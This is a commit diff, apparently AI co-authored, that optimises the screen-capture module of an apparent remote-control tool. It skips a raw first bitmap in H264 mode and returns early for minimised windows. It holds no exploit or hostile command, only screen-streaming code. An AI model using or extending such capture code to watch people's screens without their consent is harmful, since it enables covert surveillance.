Opt: skip 8MB raw first-frame in H264 mode; server unlocks on first IDR instead

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

client/ScreenSpy.cpp

@@ -145,10 +145,19 @@ CScreenSpy::~CScreenSpy()
 
 LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
 {
+    if (m_hTargetWnd && IsIconic(m_hTargetWnd)) {
+        *ulFirstScreenLength = 0;
+        return nullptr;
+    }
     ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
     m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
     LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full);
     memcpy(m_FirstBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
+    // H264/AV1：不发原始位图，IDR 到达后服务端自行解锁；节省每次切窗口的流量峰值
+    if (m_bAlgorithm == ALGORITHM_H264) {
+        *ulFirstScreenLength = 0;
+        return nullptr;
+    }
     memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
     if (m_bAlgorithm == ALGORITHM_GRAY) {
         ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);